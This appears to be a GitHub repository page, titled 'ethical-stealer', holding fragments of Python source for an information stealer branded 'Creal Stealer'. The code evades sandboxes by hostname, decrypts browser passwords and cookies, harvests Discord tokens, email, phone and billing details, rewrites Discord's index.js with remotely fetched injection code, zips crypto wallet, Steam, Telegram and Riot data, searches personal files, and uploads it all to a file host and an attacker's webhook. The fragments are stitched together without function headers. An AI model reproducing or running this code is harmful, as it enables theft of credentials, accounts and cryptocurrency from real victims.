wiredzxz / ethical-stealer Goto Github PK

blacklistUsername = ['BEE7370C-8C0C-4', 'DESKTOP-NAKFFMT', 'WIN-5E07COS9ALR', 'B30F0242-1C6A-4', 'DESKTOP-VRSQLAG', 'Q9IATRKPRH', 'XC64ZB', 'DESKTOP-D019GDM', 'DESKTOP-WI8CLET', 'SERVER1', 'LISA-PC', 'JOHN-PC', 'DESKTOP-B0T93D6', 'DESKTOP-1PYKP29', 'DESKTOP-1Y2433R', 'WILEYPC', 'WORK', '6C4E733F-C2D9-4', 'RALPHS-PC', 'DESKTOP-WG3MYJS', 'DESKTOP-7XC6GEZ', 'DESKTOP-5OV9S0O', 'QarZhrdBpj', 'ORELEEPC', 'ARCHIBALDPC', 'JULIA-PC', 'd1bnJkfVlH', 'NETTYPC', 'DESKTOP-BUGIO', 'DESKTOP-CBGPFEE', 'SERVER-PC', 'TIQIYLA9TW5M', 'DESKTOP-KALVINO', 'COMPNAME_4047', 'DESKTOP-19OLLTD', 'DESKTOP-DE369SE', 'EA8C2E2A-D017-4', 'AIDANPC', 'LUCAS-PC', 'MARCI-PC', 'ACEPC', 'MIKE-PC', 'DESKTOP-IAPKN1P', 'DESKTOP-NTU7VUO', 'LOUISE-PC', 'T00917', 'test42']

hostname = socket.gethostname()

if any(name in hostname for name in blacklistUsername):
    os._exit(0)

if windll.crypt32.CryptUnprotectData(byref(blob_in), None, byref(blob_entropy), None, None, 0x01, byref(blob_out)):
    return G3tD4t4(blob_out)

ipdata = loads(ipdatanojson)

contry = ipdata["country_name"]
contryCode = ipdata["country_code"].lower()
sehir = ipdata["state"]

globalinfo = f":flag_{contryCode}:  - `{us3rn4m1.upper()} | {ip} ({contry})`"
return globalinfo

global DETECTED
data = str(C00k13)
tim = re.findall(".google.com", data)

if len(tim) < -1:
    DETECTED = True
    return DETECTED
else:
    DETECTED = False
    return DETECTED

uhqlist = ''
for friend in friendlist:
    Own3dB3dg4s = ''
    flags = friend['user']['public_flags']
    for b4dg3 in b4dg3List:
        if flags // b4dg3["Value"] != 0 and friend['type'] == 1:
            if not "House" in b4dg3["Name"]:
                Own3dB3dg4s += b4dg3["Emoji"]
            flags = flags % b4dg3["Value"]
    if Own3dB3dg4s != '':
        uhqlist += f"{Own3dB3dg4s} | {friend['user']['username']}#{friend['user']['discriminator']} ({friend['user']['id']})\n"
return uhqlist

    pid = int(process.split()[1])
    os.system(f"taskkill /F /PID {pid}")

if b1ll1ngjson == []: return "```None```"

b1ll1ng = ""
for methode in b1ll1ngjson:
    if methode["invalid"] == False:
        if methode["type"] == 1:
            b1ll1ng += ":credit_card:"
        elif methode["type"] == 2:
            b1ll1ng += ":parking: "

return b1ll1ng

username = os.getlogin()

folder_list = ['Discord', 'DiscordCanary', 'DiscordPTB', 'DiscordDevelopment']

for folder_name in folder_list:
    deneme_path = os.path.join(os.getenv('LOCALAPPDATA'), folder_name)
    if os.path.isdir(deneme_path):
        for subdir, dirs, files in os.walk(deneme_path):
            if 'app-' in subdir:
                for dir in dirs:
                    if 'modules' in dir:
                        module_path = os.path.join(subdir, dir)
                        for subsubdir, subdirs, subfiles in os.walk(module_path):
                            if 'discord_desktop_core-' in subsubdir:
                                for subsubsubdir, subsubdirs, subsubfiles in os.walk(subsubdir):
                                    if 'discord_desktop_core' in subsubsubdir:
                                        for file in subsubfiles:
                                            if file == 'index.js':
                                                file_path = os.path.join(subsubsubdir, file)

                                                inj_content = requests.get(inj_url).text

                                                inj_content = inj_content.replace("%WEBHOOK%", wh00k)

                                                with open(file_path, "w", encoding="utf-8") as index_file:
                                                    index_file.write(inj_content)

Own3dB3dg4s = ''
b4dg3List =  [
    {"Name": 'Active_Developer', 'Value': 131072, 'Emoji': "<:activedev:1042545590640324608> "},
    {"Name": 'Early_Verified_Bot_Developer', 'Value': 131072, 'Emoji': "<:developer:874750808472825986> "},
    {"Name": 'Bug_Hunter_Level_2', 'Value': 16384, 'Emoji': "<:bughunter_2:874750808430874664> "},
    {"Name": 'Early_Supporter', 'Value': 512, 'Emoji': "<:early_supporter:874750808414113823> "},
    {"Name": 'House_Balance', 'Value': 256, 'Emoji': "<:balance:874750808267292683> "},
    {"Name": 'House_Brilliance', 'Value': 128, 'Emoji': "<:brilliance:874750808338608199> "},
    {"Name": 'House_Bravery', 'Value': 64, 'Emoji': "<:bravery:874750808388952075> "},
    {"Name": 'Bug_Hunter_Level_1', 'Value': 8, 'Emoji': "<:bughunter_1:874750808426692658> "},
    {"Name": 'HypeSquad_Events', 'Value': 4, 'Emoji': "<:hypesquad_events:874750808594477056> "},
    {"Name": 'Partnered_Server_Owner', 'Value': 2,'Emoji': "<:partner:874750808678354964> "},
    {"Name": 'Discord_Employee', 'Value': 1, 'Emoji': "<:staff:874750808728666152> "}
]
for b4dg3 in b4dg3List:
    if flags // b4dg3["Value"] != 0:
        Own3dB3dg4s += b4dg3["Emoji"]
        flags = flags % b4dg3["Value"]

return Own3dB3dg4s

us3rjs0n = loads(urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=headers)).read().decode())
us3rn4m1 = us3rjs0n["username"]
hashtag = us3rjs0n["discriminator"]
em31l = us3rjs0n["email"]
idd = us3rjs0n["id"]
pfp = us3rjs0n["avatar"]
flags = us3rjs0n["public_flags"]
n1tr0 = ""
ph0n3 = ""

if "premium_type" in us3rjs0n: 
    nitrot = us3rjs0n["premium_type"]
    if nitrot == 1:
        n1tr0 = "<a:DE_BadgeNitro:865242433692762122>"
    elif nitrot == 2:
        n1tr0 = "<a:DE_BadgeNitro:865242433692762122><a:autr_boost1:1038724321771786240>"
if "ph0n3" in us3rjs0n: ph0n3 = f'{us3rjs0n["ph0n3"]}'

return us3rn4m1, hashtag, em31l, idd, pfp, flags, n1tr0, ph0n3

if pfp == None: 
    pfp = "https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer/main/img/xd.jpg"
else:
    pfp = f"https://cdn.discordapp.com/avatars/{idd}/{pfp}"

b1ll1ng = G3tb1ll1ng(t0k3n)
b4dg3 = G3tB4dg31(flags)
friends = G3tUHQFr13ndS(t0k3n)
if friends == '': friends = "```No Rare Friends```"
if not b1ll1ng:
    b4dg3, ph0n3, b1ll1ng = "🔒", "🔒", "🔒"
if n1tr0 == '' and b4dg3 == '': n1tr0 = "```None```"

data = {
    "content": f'{globalInfo()} | `{path}`',
    "embeds": [
        {
        "color": 2895667,
        "fields": [
            {
                "name": "<a:hyperNOPPERS:828369518199308388> Token:",
                "value": f"```{t0k3n}```",
                "inline": True
            },
            {
                "name": "<:mail:750393870507966486> Email:",
                "value": f"```{em31l}```",
                "inline": True
            },
            {
                "name": "<a:1689_Ringing_Phone:755219417075417088> Phone:",
                "value": f"```{ph0n3}```",
                "inline": True
            },
            {
                "name": "<:mc_earth:589630396476555264> IP:",
                "value": f"```{g3t1p()}```",
                "inline": True
            },
            {
                "name": "<:woozyface:874220843528486923> Badges:",
                "value": f"{n1tr0}{b4dg3}",
                "inline": True
            },
            {
                "name": "<a:4394_cc_creditcard_cartao_f4bihy:755218296801984553> Billing:",
                "value": f"{b1ll1ng}",
                "inline": True
            },
            {
                "name": "<a:mavikirmizi:853238372591599617> HQ Friends:",
                "value": f"{friends}",
                "inline": False
            }
            ],
        "author": {
            "name": f"{us3rn4m1}#{hashtag} ({idd})",
            "icon_url": f"{pfp}"
            },
        "footer": {
            "text": "Creal Stealer",
            "icon_url": "https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer/main/img/xd.jpg"
            },
        "thumbnail": {
            "url": f"{pfp}"
            }
        }
    ],
    "avatar_url": "https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer/main/img/xd.jpg",
    "username": "Creal Stealer",
    "attachments": []
    }
L04durl1b(wh00k, data=dumps(data).encode(), headers=headers)

if name == "crcook":
    rb = ' | '.join(da for da in cookiWords)
    if len(rb) > 1000: 
        rrrrr = R4f0rm3t(str(cookiWords))
        rb = ' | '.join(da for da in rrrrr)
    data = {
        "content": f"{globalInfo()}",
        "embeds": [
            {
                "title": "Creal | Cookies Stealer",
                "description": f"<:apollondelirmis:1012370180845883493>: **Accounts:**\n\n{rb}\n\n**Data:**\n<:cookies_tlm:816619063618568234> • **{CookiCount}** Cookies Found\n<a:CH_IconArrowRight:715585320178941993> • [CrealCookies.txt]({link})",
                "color": 2895667,
                "footer": {
                    "text": "Creal Stealer",
                    "icon_url": "https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer/main/img/xd.jpg"
                }
            }
        ],
        "username": "Creal Stealer",
        "avatar_url": "https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer/main/img/xd.jpg",
        "attachments": []
        }
    L04durl1b(wh00k, data=dumps(data).encode(), headers=headers)
    return

if name == "crpassw":
    ra = ' | '.join(da for da in paswWords)
    if len(ra) > 1000: 
        rrr = R4f0rm3t(str(paswWords))
        ra = ' | '.join(da for da in rrr)

    data = {
        "content": f"{globalInfo()}",
        "embeds": [
            {
                "title": "Creal | Password Stealer",
                "description": f"<:apollondelirmis:1012370180845883493>: **Accounts**:\n{ra}\n\n**Data:**\n<a:hira_kasaanahtari:886942856969875476> • **{P4sswCount}** Passwords Found\n<a:CH_IconArrowRight:715585320178941993> • [CrealPassword.txt]({link})",
                "color": 2895667,
                "footer": {
                    "text": "Creal Stealer",
                    "icon_url": "https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer/main/img/xd.jpg"
                }
            }
        ],
        "username": "Creal",
        "avatar_url": "https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer/main/img/xd.jpg",
        "attachments": []
        }
    L04durl1b(wh00k, data=dumps(data).encode(), headers=headers)
    return

if name == "kiwi":
    data = {
        "content": f"{globalInfo()}",
        "embeds": [
            {
            "color": 2895667,
            "fields": [
                {
                "name": "Interesting files found on user PC:",
                "value": link
                }
            ],
            "author": {
                "name": "Creal | File Stealer"
            },
            "footer": {
                "text": "Creal Stealer",
                "icon_url": "https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer/main/img/xd.jpg"
            }
            }
        ],
        "username": "Creal Stealer",
        "avatar_url": "https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer/main/img/xd.jpg",
        "attachments": []
        }
    L04durl1b(wh00k, data=dumps(data).encode(), headers=headers)
    return

path += arg
for file in os.listdir(path):
    if file.endswith(".log") or file.endswith(".ldb")   :
        for line in [x.strip() for x in open(f"{path}\\{file}", errors="ignore").readlines() if x.strip()]:
            for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", r"mfa\.[\w-]{80,95}"):
                for t0k3n in re.findall(regex, line):
                    global T0k3ns
                    if ch1ckT4k1n(t0k3n):
                        if not t0k3n in T0k3ns:
                           
                            T0k3ns += t0k3n
                            upl05dT4k31(t0k3n, path)

pathC = path + arg + "/Login Data"
if os.stat(pathC).st_size == 0: return

tempfold = temp + "cr" + ''.join(random.choice('bcdefghijklmnopqrstuvwxyz') for i in range(8)) + ".db"

shutil.copy2(pathC, tempfold)
conn = sql_connect(tempfold)
cursor = conn.cursor()
cursor.execute("SELECT action_url, username_value, password_value FROM logins;")
data = cursor.fetchall()
cursor.close()
conn.close()
os.remove(tempfold)

pathKey = path + "/Local State"
with open(pathKey, 'r', encoding='utf-8') as f: local_state = json_loads(f.read())
master_key = b64decode(local_state['os_crypt']['encrypted_key'])
master_key = CryptUnprotectData(master_key[5:])

for row in data: 
    if row[0] != '':
        for wa in keyword:
            old = wa
            if "https" in wa:
                tmp = wa
                wa = tmp.split('[')[1].split(']')[0]
            if wa in row[0]:
                if not old in paswWords: paswWords.append(old)
        P4ssw.append(f"UR1: {row[0]} | U53RN4M3: {row[1]} | P455W0RD: {D3kryptV4lU3(row[2], master_key)}")
        P4sswCount += 1
wr1tef0rf1l3(P4ssw, 'passw')

pathC = path + arg + "/Cookies"
if os.stat(pathC).st_size == 0: return

tempfold = temp + "cr" + ''.join(random.choice('bcdefghijklmnopqrstuvwxyz') for i in range(8)) + ".db"

shutil.copy2(pathC, tempfold)
conn = sql_connect(tempfold)
cursor = conn.cursor()
cursor.execute("SELECT host_key, name, encrypted_value FROM cookies")
data = cursor.fetchall()
cursor.close()
conn.close()
os.remove(tempfold)

pathKey = path + "/Local State"

with open(pathKey, 'r', encoding='utf-8') as f: local_state = json_loads(f.read())
master_key = b64decode(local_state['os_crypt']['encrypted_key'])
master_key = CryptUnprotectData(master_key[5:])

for row in data: 
    if row[0] != '':
        for wa in keyword:
            old = wa
            if "https" in wa:
                tmp = wa
                wa = tmp.split('[')[1].split(']')[0]
            if wa in row[0]:
                if not old in cookiWords: cookiWords.append(old)
        C00k13.append(f"{row[0]}	TRUE	/	FALSE	2597573456	{row[1]}	{D3kryptV4lU3(row[2], master_key)}")
        CookiCount += 1
wr1tef0rf1l3(C00k13, 'cook')

pathC = path + arg

pathKey = path + "/Local State"
with open(pathKey, 'r', encoding='utf-8') as f: local_state = json_loads(f.read())
master_key = b64decode(local_state['os_crypt']['encrypted_key'])
master_key = CryptUnprotectData(master_key[5:])


for file in os.listdir(pathC):
   
    if file.endswith(".log") or file.endswith(".ldb")   :
        for line in [x.strip() for x in open(f"{pathC}\\{file}", errors="ignore").readlines() if x.strip()]:
            for t0k3n in re.findall(r"dQw4w9WgXcQ:[^.*\['(.*)'\].*$][^\"]*", line):
                global T0k3ns
                t0k3nDecoded = D3kryptV4lU3(b64decode(t0k3n.split('dQw4w9WgXcQ:')[1]), master_key)
                if ch1ckT4k1n(t0k3nDecoded):
                    if not t0k3nDecoded in T0k3ns:
                        
                        T0k3ns += t0k3nDecoded
                        
                        upl05dT4k31(t0k3nDecoded, path)

for patt in paths2:
    a = threading.Thread(target=Z1pTh1ngs, args=[patt[0], patt[2], patt[1]])
    a.start()
    thttht.append(a)

a = threading.Thread(target=ZipTelegram, args=[paths3[0], paths3[2], paths3[1]])
a.start()
thttht.append(a)

for thread in thttht: 
    thread.join()
global WalletsZip, GamingZip, OtherZip
    

wal, ga, ot = "",'',''
if not len(WalletsZip) == 0:
    wal = ":coin:  •  Wallets\n"
    for i in WalletsZip:
        wal += f"└─ [{i[0]}]({i[1]})\n"
if not len(WalletsZip) == 0:
    ga = ":video_game:  •  Gaming:\n"
    for i in GamingZip:
        ga += f"└─ [{i[0]}]({i[1]})\n"
if not len(OtherZip) == 0:
    ot = ":tickets:  •  Apps\n"
    for i in OtherZip:
        ot += f"└─ [{i[0]}]({i[1]})\n"          
headers = {
    "Content-Type": "application/json",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"
}

data = {
    "content": globalInfo(),
    "embeds": [
        {
        "title": "Creal Zips",
        "description": f"{wal}\n{ga}\n{ot}",
        "color": 2895667,
        "footer": {
            "text": "Creal Stealer",
            "icon_url": "https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer/main/img/xd.jpg"
        }
        }
    ],
    "username": "Creal Stealer",
    "avatar_url": "https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer/main/img/xd.jpg",
    "attachments": []
}
L04durl1b(wh00k, data=dumps(data).encode(), headers=headers)

zf = ZipFile(f"{pathC}/{name}.zip", "w")
for file in os.listdir(pathC):
    if not ".zip" in file and not "tdummy" in file and not "user_data" in file and not "webview" in file: 
        zf.write(pathC + "/" + file)
zf.close()

lnik = uploadToAnonfiles(f'{pathC}/{name}.zip')

os.remove(f"{pathC}/{name}.zip")
OtherZip.append([arg, lnik])

if "nkbihfbeogaeaoehlefnkodbefgpgknn" in arg:
    browser = path.split("\\")[4].split("/")[1].replace(' ', '')
    name = f"Metamask_{browser}"
    pathC = path + arg

if "ejbalbakoplchlghecdalmeeeajnimhm" in arg:
    browser = path.split("\\")[4].split("/")[1].replace(' ', '')
    name = f"Metamask_Edge"
    pathC = path + arg

if "aholpfdialjgjfhomihkjbmgjidlcdno" in arg:
    browser = path.split("\\")[4].split("/")[1].replace(' ', '')
    name = f"Exodus_{browser}"
    pathC = path + arg

if "fhbohimaelbohpjbbldcngcnapndodjp" in arg:
    browser = path.split("\\")[4].split("/")[1].replace(' ', '')
    name = f"Binance_{browser}"
    pathC = path + arg

if "hnfanknocfeofbddgcijnmhnfnkdnaad" in arg:
    browser = path.split("\\")[4].split("/")[1].replace(' ', '')
    name = f"Coinbase_{browser}"
    pathC = path + arg

if "egjidjbpglichdcondbcbdnbeeppgdph" in arg:
    browser = path.split("\\")[4].split("/")[1].replace(' ', '')
    name = f"Trust_{browser}"
    pathC = path + arg

if "bfnaelmomeimhlpmgjnjophhpkkoljpa" in arg:
    browser = path.split("\\")[4].split("/")[1].replace(' ', '')
    name = f"Phantom_{browser}"
    pathC = path + arg


if not os.path.exists(pathC): return
subprocess.Popen(f"taskkill /im {procc} /t /f >nul 2>&1", shell=True)

if "Wallet" in arg or "NationsGlory" in arg:
    browser = path.split("\\")[4].split("/")[1].replace(' ', '')
    name = f"{browser}"

elif "Steam" in arg:
    if not os.path.isfile(f"{pathC}/loginusers.vdf"): return
    f = open(f"{pathC}/loginusers.vdf", "r+", encoding="utf8")
    data = f.readlines()
    
    found = False
    for l in data:
        if 'RememberPassword"\t\t"1"' in l:
            found = True
    if found == False: return
    name = arg


zf = ZipFile(f"{pathC}/{name}.zip", "w")
for file in os.listdir(pathC):
    if not ".zip" in file: zf.write(pathC + "/" + file)
zf.close()

lnik = uploadToAnonfiles(f'{pathC}/{name}.zip')

os.remove(f"{pathC}/{name}.zip")

if "Wallet" in arg or "eogaeaoehlef" in arg or "koplchlghecd" in arg or "aelbohpjbbld" in arg or "nocfeofbddgc" in arg or "bpglichdcond" in arg or "momeimhlpmgj" in arg or "dialjgjfhomi" in arg:
    WalletsZip.append([name, lnik])
elif "NationsGlory" in name or "Steam" in name or "RiotCli" in name:
    GamingZip.append([name, lnik])
else:
    OtherZip.append([name, lnik])

discordPaths = [
    [f"{roaming}/Discord", "/Local Storage/leveldb"],
    [f"{roaming}/Lightcord", "/Local Storage/leveldb"],
    [f"{roaming}/discordcanary", "/Local Storage/leveldb"],
    [f"{roaming}/discordptb", "/Local Storage/leveldb"],
]

PathsToZip = [
    [f"{roaming}/atomic/Local Storage/leveldb", '"Atomic Wallet.exe"', "Wallet"],
    [f"{roaming}/Exodus/exodus.wallet", "Exodus.exe", "Wallet"],
    ["C:\Program Files (x86)\Steam\config", "steam.exe", "Steam"],
    [f"{roaming}/NationsGlory/Local Storage/leveldb", "NationsGlory.exe", "NationsGlory"],
    [f"{local}/Riot Games/Riot Client/Data", "RiotClientServices.exe", "RiotClient"]
]
Telegram = [f"{roaming}/Telegram Desktop/tdata", 'telegram.exe', "Telegram"]

for patt in browserPaths: 
    a = threading.Thread(target=getT0k3n, args=[patt[0], patt[2]])
    a.start()
    Threadlist.append(a)
for patt in discordPaths: 
    a = threading.Thread(target=G3tD1sc0rd, args=[patt[0], patt[1]])
    a.start()
    Threadlist.append(a)

for patt in browserPaths: 
    a = threading.Thread(target=getP4ssw, args=[patt[0], patt[3]])
    a.start()
    Threadlist.append(a)

ThCokk = []
for patt in browserPaths: 
    a = threading.Thread(target=getC00k13, args=[patt[0], patt[4]])
    a.start()
    ThCokk.append(a)

threading.Thread(target=GatherZips, args=[browserPaths, PathsToZip, Telegram]).start()


for thread in ThCokk: thread.join()
DETECTED = TR6st(C00k13)
if DETECTED == True: return

for patt in browserPaths:
     threading.Thread(target=Z1pTh1ngs, args=[patt[0], patt[5], patt[1]]).start()

for patt in PathsToZip:
     threading.Thread(target=Z1pTh1ngs, args=[patt[0], patt[2], patt[1]]).start()

threading.Thread(target=ZipTelegram, args=[Telegram[0], Telegram[2], Telegram[1]]).start()

for thread in Threadlist: 
    thread.join()
global upths
upths = []

for file in ["crpassw.txt", "crcook.txt"]: 
    
    upload(file.replace(".txt", ""), uploadToAnonfiles(os.getenv("TEMP") + "\\" + file))

KiwiFiles.append(["folder", path, fifound])

key_wordsFolder = [
    "account",
    "acount",
    "passw",
    "secret",
    "senhas",
    "contas",
    "backup",
    "2fa",
    "importante",
    "privado",
    "exodus",
    "exposed",
    "perder",
    "amigos",
    "empresa",
    "trabalho",
    "work",
    "private",
    "source",
    "users",
    "username",
    "login",
    "user",
    "usuario",
    "log"
]

key_wordsFiles = [
    "passw",
    "mdp",
    "motdepasse",
    "mot_de_passe",
    "login",
    "secret",
    "account",
    "acount",
    "paypal",
    "banque",
    "account",                                                          
    "metamask",
    "wallet",
    "crypto",
    "exodus",
    "discord",
    "2fa",
    "code",
    "memo",
    "compte",
    "token",
    "backup",
    "secret",
    "mom",
    "family"
    ]

wikith = []
for patt in path2search: 
    kiwi = threading.Thread(target=KiwiFile, args=[patt, key_wordsFiles]);kiwi.start()
    wikith.append(kiwi)
return wikith

for thread in wikith: thread.join()
time.sleep(0.2)

filetext = "\n"
for arg in KiwiFiles:
    if len(arg[2]) != 0:
        foldpath = arg[1]
        foldlist = arg[2]       
        filetext += f"📁 {foldpath}\n"

        for ffil in foldlist:
            a = ffil[0].split("/")
            fileanme = a[len(a)-1]
            b = ffil[1]
            filetext += f"└─:open_file_folder: [{fileanme}]({b})\n"
        filetext += "\n"
upload("kiwi", filetext)